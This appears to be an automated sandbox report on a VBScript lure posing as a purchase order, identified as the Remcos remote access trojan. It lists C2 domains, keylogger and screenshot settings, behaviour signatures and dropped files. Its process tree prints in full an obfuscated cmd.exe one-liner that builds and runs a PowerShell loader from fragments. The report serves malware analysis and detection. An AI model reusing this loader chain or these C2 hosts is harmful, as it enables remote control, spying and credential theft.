Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 08:29

General

  • Target
    Orden de compra_039484.vbs
  • Size 1.1MB
  • Sample260930-kdthfasdpa
  • SHA256 935336441e5aa15e107d320faf279be7588a45e35947035a4d647045966c5520
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.3.1 Pro

Botnet
  • RemoteHost

C2
  • www.albader-group.cam:2404

  • www.albader-groupbackup.cam:2404

  • www.albader-groupbackup1.cam:2404

  • www.edibeckconsult.cam:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    folder

  • mouse_option

    false

  • mutex

    Rmc-O95NBS

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Suricata alert: REMCOS RAT Malware Inbound C2 Communication 6 IoCs

    Network activity triggered a Suricata alert

  • Suricata alert: REMCOS RAT Malware Outbound C2 Communication 8 IoCs

    Network activity triggered a Suricata alert

  • Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 5 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: MapViewOfSection 1 TTPs 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Orden de compra_039484.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:2596
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /v:on /c set "A001=$p=["&& set "A002=char"&& set "A003=]39+"&& set "A004=[cha"&& set "A005=r]32"&& set "A006=+$ar"&& set "A007=gs[0"&& set "A008=];$r"&& set "A009==$en"&& set "A010=v:PH"&& set "A011=SZTW"&& set "A012=;$f="&& set "A013=$arg"&& set "A014=s[1]"&& set "A015=;$s="&& set "A016=$arg"&& set "A017=s[2]"&& set "A018=;$rl"&& set "A019==$ar"&& set "A020=gs[3"&& set "A021=]+$a"&& set "A022=rgs["&& set "A023=4]+$"&& set "A024=args"&& set "A025=[5];"&& set "A026=$wl="&& set "A027=$arg"&& set "A028=s[6]"&& set "A029=+$ar"&& set "A030=gs[4"&& set "A031=]+$a"&& set "A032=rgs["&& set "A033=5];$"&& set "A034=tf=$"&& set "A035=args"&& set "A036=[7]+"&& set "A037=$arg"&& set "A038=s[8]"&& set "A039=+$ar"&& set "A040=gs[9"&& set "A041=];$t"&& set "A042==0;w"&& set "A043=hile"&& set "A044=($t-"&& set "A045=lt8)"&& set "A046={$t+"&& set "A047=+;$a"&& set "A048==$nu"&& set "A049=ll;t"&& set "A050=ry{$"&& set "A051=raw="&& set "A052=([ty"&& set "A053=pe]$"&& set "A054=tf)."&& set "A055=GetM"&& set "A056=etho"&& set "A057=d($r"&& set "A058=l,[t"&& set "A059=ype["&& set "A060=]]@("&& set "A061=[str"&& set "A062=ing]"&& set "A063=)).I"&& set "A064=nvok"&& set "A065=e($n"&& set "A066=ull,"&& set "A067=@($r"&& set "A068=));$"&& set "A069=a=fo"&& set "A070=reac"&& set "A071=h($l"&& set "A072= in "&& set "A073=$raw"&& set "A074=){$i"&& set "A075==$l."&& set "A076=Inde"&& set "A077=xOf("&& set "A078=$p);"&& set "A079=if($"&& set "A080=i-ge"&& set "A081= 0){"&& set "A082=$l.S"&& set "A083=ubst"&& set "A084=ring"&& set "A085=($i+"&& set "A086=$p.L"&& set "A087=engt"&& set "A088=h)-s"&& set "A089=plit"&& set "A090=$s}}"&& set "A091=}cat"&& set "A092=ch{}"&& set "A093=;if("&& set "A094=$a){"&& set "A095=([ty"&& set "A096=pe]$"&& set "A097=tf)."&& set "A098=GetM"&& set "A099=etho"&& set "A100=d($w"&& set "A101=l,[t"&& set "A102=ype["&& set "A103=]]@("&& set "A104=[str"&& set "A105=ing]"&& set "A106=,[st"&& set "A107=ring"&& set "A108=[]])"&& set "A109=).In"&& set "A110=voke"&& set "A111=($nu"&& set "A112=ll,@"&& set "A113=($f,"&& set "A114=[str"&& set "A115=ing["&& set "A116=]]@("&& set "A117=$a))"&& set "A118=);br"&& set "A119=eak}"&& set "A120=;Sta"&& set "A121=rt-S"&& set "A122=leep"&& set "A123= -Mi"&& set "A124=llis"&& set "A125=econ"&& set "A126=ds 4"&& set "A127=00}"&& set "PHSZTW=C:\Users\Admin\AppData\Local\Temp\Orden de compra_039484.vbs"&& set "NDHSTNR=!A001!!A002!!A003!!A004!!A005!!A006!!A007!!A008!!A009!!A010!!A011!!A012!!A013!!A014!!A015!!A016!!A017!!A018!!A019!!A020!!A021!!A022!!A023!!A024!!A025!!A026!!A027!!A028!!A029!!A030!!A031!!A032!!A033!!A034!!A035!!A036!!A037!!A038!!A039!!A040!!A041!!A042!!A043!!A044!!A045!!A046!!A047!!A048!!A049!!A050!!A051!!A052!!A053!!A054!!A055!!A056!!A057!!A058!!A059!!A060!!A061!!A062!!A063!!A064!!A065!!A066!!A067!!A068!!A069!!A070!!A071!!A072!!A073!!A074!!A075!!A076!!A077!!A078!!A079!!A080!!A081!!A082!!A083!!A084!!A085!!A086!!A087!!A088!!A089!!A090!!A091!!A092!!A093!!A094!!A095!!A096!!A097!!A098!!A099!!A100!!A101!!A102!!A103!!A104!!A105!!A106!!A107!!A108!!A109!!A110!!A111!!A112!!A113!!A114!!A115!!A116!!A117!!A118!!A119!!A120!!A121!!A122!!A123!!A124!!A125!!A126!!A127!"&& "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:NDHSTNR))" "ANSJQOGHTPCB" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\341753417568.cmd" "JAVXGGFLTXDB" "Read" "All" "Lines" "Write" "System" ".IO." "File"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2296
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:NDHSTNR))" "ANSJQOGHTPCB" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\341753417568.cmd" "JAVXGGFLTXDB" "Read" "All" "Lines" "Write" "System" ".IO." "File"
        3⤵
        • Enumerates connected drives
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4372
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\341753417568.cmd"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3364
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:TCUSBCAWZSU));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:YOLFLOLNQRQ))"
        3⤵
        • Enumerates connected drives
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2936
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:TCUSBCAWZSU));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:YOLFLOLNQRQ))"
        3⤵
        • Enumerates connected drives
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3704
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:TCUSBCAWZSU));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:YOLFLOLNQRQ))"
          4⤵
          • Adds Run key to start application
          • Enumerates connected drives
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3840
          • C:\Windows\system32\choice.exe
            "C:\Windows\system32\choice.exe"
            5⤵
            • Suricata alert: REMCOS RAT Malware Inbound C2 Communication
            • Suricata alert: REMCOS RAT Malware Outbound C2 Communication
            • Accesses Microsoft Outlook profiles
            • Enumerates connected drives
            • outlook_office_path
            PID:5464

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        logs.dat

        • Path C:\ProgramData\folder\logs.dat
        • Size 102B
        • SHA256 17be42c399ef039b3c265cee9b2fbe558b3e059114d914bc5502bddd207615bb
        • MD5 SHA1 SHA512 TLSH

        341753417568.cmd

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\341753417568.cmd
        • Size 1.1MB
        • SHA256 9d1401c92b9cd2337638635216c612f95e61b76ead2f7d6bc0a3d66ca74a1407
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 952B
        • SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 fa606866043197f75de4426de51670f2291a94433384efe403e0026db4429a69
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_s5zpnfqo.tyc.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s5zpnfqo.tyc.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        handoff_dbg_3840_e59b423.txt

        • Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_3840_e59b423.txt
        • Size 612B
        • SHA256 e1137ca223f40571d952ceadd1fade15c72de043590f70869c312cc9c68ef9da
        • MD5 SHA1 SHA512 TLSH

        memory/3840-42-0x00000274AC4A0000-0x00000274AC4AA000-memory.dmp

        memory/3840-41-0x00000274AC7F0000-0x00000274AC80E000-memory.dmp

        memory/3840-43-0x00000274AC810000-0x00000274AC82C000-memory.dmp

        memory/3840-40-0x00000274AC490000-0x00000274AC49A000-memory.dmp

        memory/3840-39-0x00000274ACA00000-0x00000274ACAB2000-memory.dmp

        memory/3840-38-0x00000274AC900000-0x00000274AC91E000-memory.dmp

        memory/3840-44-0x00000274AC4B0000-0x00000274AC4B8000-memory.dmp

        memory/3840-45-0x00000274AC7C0000-0x00000274AC7C6000-memory.dmp

        memory/3840-46-0x00000274AC7D0000-0x00000274AC7DA000-memory.dmp

        memory/4372-10-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-11-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-21-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-19-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-17-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-16-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-15-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-13-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-12-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-20-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-9-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-8-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-7-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-4-0x000001A8D8680000-0x000001A8D86A2000-memory.dmp

        memory/4372-3-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-2-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-1-0x00007FFC15BA0000-0x00007FFC16544000-memory.dmp

        memory/4372-0-0x00007FFC15D2F000-0x00007FFC15D30000-memory.dmp

        memory/5464-82-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-117-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-51-0x0000000180000000-0x0000000180040000-memory.dmp

        memory/5464-47-0x0000021968A90000-0x0000021968AD0000-memory.dmp

        memory/5464-69-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-95-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-92-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-67-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-96-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-97-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-98-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-99-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-101-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-104-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-109-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-108-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-107-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-106-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-105-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-63-0x0000021968A90000-0x0000021968AD0000-memory.dmp

        memory/5464-118-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-119-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-116-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-115-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-114-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-113-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-112-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-111-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-110-0x000002196AEB0000-0x000002196AFDD000-memory.dmp

        memory/5464-122-0x00007FF6443B0000-0x00007FF6443BE000-memory.dmp

        memory/5464-124-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-125-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-48-0x0000021968A90000-0x0000021968AD0000-memory.dmp

        memory/5464-138-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-137-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-149-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-148-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-160-0x0000000140000000-0x00000001400B0000-memory.dmp

        memory/5464-159-0x0000000140000000-0x00000001400B0000-memory.dmp